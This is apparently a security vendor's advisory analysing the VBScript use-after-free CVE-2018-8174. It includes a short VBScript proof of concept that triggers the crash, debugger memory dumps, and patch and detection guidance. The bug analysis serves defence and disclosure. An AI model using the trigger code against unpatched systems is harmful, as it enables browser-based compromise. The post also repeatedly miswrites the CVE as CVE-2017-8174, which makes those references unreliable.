Internet Explorer VBScript Use-After-Free Vulnerability: CVE-2018-8174

A Zero-Day vulnerability in VBScript was disclosed to Microsoft. The vulnerability was discovered as an active attack in the wild. The bug is in the VBScript engine used in Windows. Its classified as a Use-After-Free (UAF) vulnerability. CVE-2017-8174 is assigned to track this bug.

Currently attackers are exploiting this vulnerability to execute shellcode and PowerShell script to download payloads from remote servers. The initial attacker vector is a crafted MS Word document which exploits CVE-2017-0199 to download the exploit for CVE-2018-8174. Basically its trying to render a web page using IE engine and this page contains the VBScript exploit. This attack is attributed to the APT-C-06 group.

Vulnerability
As mentioned earlier it is a UAF vulnerability. Upon successful exploitation an attacker can achieve remote code execution (RCE). The attack has been named as “double kill“, this is due to the fact that the attack is initiated by erasing two object variable one after the other, both object variables are referring to the same class instance.

Background
In VBScript an object is automatically erased/destroyed when its reference count becomes zero. The reference count can be decremented either by setting the object variables to NOTHING or the object variable is out of scope. Please note that object and object variable are different an object variable contains reference to an object not the object itself. Class_Initialize() and Class_Terminate() are used to initialize and destroy objects, these methods are replaced by constructor Sub New and destructor Sub Finalize.

The root cause of the vulnerability lies in the way VBScript destroys an object, where a destructor Class_Terminate() is defined, VBScript checks for the type of object and calls the respective function to handle it. For variant type VT_DISPATCH VBScriptClass::Release() is called to destroy the object, the function checks the reference once and calls TerminateClass(). The issue occurs because if an overloaded version of TerminateClass() is called, and if this function creates another reference to the object. No final reference count checks are done before freeing the object the object in question.

On its own this does not cause any damage, unless a second object variable contains the same reference. So even though the first object variable is freed, the second variable points to the freed reference. Any usage of this object variable will result in UAF.

To better understand the vulnerability we will use a PoC that will crash when the vbscript module tries to use a dangling pointer.

Dim ArrA(1)
Dim ArrB(1)

Class ClassVuln
 Private Sub Class_Terminate() << Overloaded Class_Terminate method 
  Set ArrB(0) = ArrA(0)        << Creating reference to ClassVuln obj
  ArrA(0) = 31337
 End Sub
End Class

Sub TriggerVuln
 Set ArrA(0) = New ClassVuln
 Erase ArrA
 Erase ArrB
End Sub

TriggerVuln

Below we can see ArrA and ArrB being declared and currently do not contain any values.

'---ArrA----'
eax=01493fe8
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x880
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x0a9defe0 Void
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
'---ArrA.pvData----'
0a9defe0 00000000 00000000 00000000 00000000
0a9deff0 00000000 00000000 00000000 00000000

'---ArrB----'
eax=0a9c2fe8
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x880
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x0a974fe0 Void
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
'---ArrB.pvData----'
0a974fe0 00000000 00000000 00000000 00000000
0a974ff0 00000000 00000000 00000000 00000000

ArrA.pvData is the pointer to the contents of the array. This will be populated with a ClassVuln object. In the debug log below we can see the ClassVuln object.

'---ArrA----'
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x892
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x0a9defe0 Void
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
'---ArrA.pvData----'
0a9defe0 c0c00009 c0c0c0c0 0724cfd0 c0c0c0c0
0a9deff0 00000000 00000000 00000000 00000000

#ClassVuln Object
0:007> dd 0724cfd0 
0724cfd0 6b1e1190 00000001 0547af78 075bdf88
0724cfe0 0000075c 00000000 00000000 0a1b2efc
0724cff0 00000000 042f7fe4 00000000 00000000

In the log above we can see ArrA.pvData contains the ClassVuln object (0x0724cfd0), At this point ArrB is still has no elements and is empty. After the assignment we delete the ArrA via Erase ArrA. As mentioned earlier VBScriptClass::Release() is called to destroy the object. The function checks the reference count once and calls the overloaded Class_Terminate() method defined by us, this is the root cause of the vulnerability, no reference checks are made after this point. The overloaded method creates another reference to the about to be freed ClassVuln object in ArrB(0).

'---ArrA.pvData----'
0:008> dd 0x0a9defe0 
0a9defe0  c0c00009 c0c0c0c0 0724cfd0 c0c0c0c0
0a9deff0  00000000 00000000 00000000 00000000
'---ArrB.pvData----'
0:008> dd 0x0a974fe0 
0a974fe0  c0c00009 c0c0c0c0 0724cfd0 c0c0c0c0
0a974ff0  00000000 00000000 00000000 00000000

ArrB(0) refers to the same object as ArrA(0). Now the normal erase code continues to execute and releases the ClassVuln object at ArrA(0) and zeroes out ArrA.pvData. In the log below we can see the dangling pointer referenced by ArrB.pvData.

'---ArrB.pvData----'
0:008> dd 0x0a974fe0 
0a974fe0  c0c00009 c0c0c0c0 0724cfd0 c0c0c0c0
0a974ff0  00000000 00000000 00000000 00000000

'---Freed memory----'
0:008> dd 0724cfd0 
0724cfd0  ???????? ???????? ???????? ????????
0724cfe0  ???????? ???????? ???????? ????????
0724cff0  ???????? ???????? ???????? ????????

When we delete ArrB it tries to free the contents of the ArrB and ends up trying to deference the dangling pointer. This will crash the application as shown below.

(a30.75c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=0724cfd0 ebx=00000020 ecx=00000009 edx=00000000 esi=0a974fe0 edi=00000009
eip=75b349fa esp=04e8b964 ebp=04e8b96c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
OLEAUT32!VariantClear+0xb3:

75b349fa 8b08            mov     ecx,dword ptr [eax]  ds:0023:0724cfd0=????????

Exploitation
This vulnerability is being exploited by RigEK along with CVE-2016-0189. KiaXin EK has also integrated CVE-2018-8174 as part of its exploit arsenal.

Mitigation
We request organizations to apply the latest patches provided by Microsoft to address CVE-2017-8174. Qualys customers should scan their network with QID: 91447 to detect vulnerable machines and patch them accordingly. The bug was disclosed both by Kaspersky and Qihoo 360 Core Security. Customers can scan with QIDs 91355,110297 to detect machines vulnerable to CVE-2017-0199.

Qualys Detection:
QID:91447 checks for vulnerable version of
– %windir%\System32\Win32kfull.sys on Windows 10 and Windows Server 2016.
– %windir%\System32\Win32k.sys on remaining supported versions of Windows.

Update: The patch for CVE-2018-8174 was found to be incomplete and a double free vulnerability is possible. CVE-2018-8242 is assigned to track this issue and has been addressed by Microsoft in July patch updates. Exploiting this vulnerability may lead to remote code execution on the target machine. Qualys customers can scan using QID: 100339 to detect vulnerable targets.

Please continue to follow Qualys Threat Protection for more coverage on this vulnerability.

References
Analysis of CVE-2018-8174 VBScript 0day and APT actor related to Office targeted attack
The King is dead. Long live the King!
CVE-2018-8174 | Windows VBScript Engine Remote Code Execution Vulnerability
CVE-2018-8174
CVE-2018-8174 (VBScript Engine) and Exploit Kits

Leave a Reply

Your email address will not be published. Required fields are marked *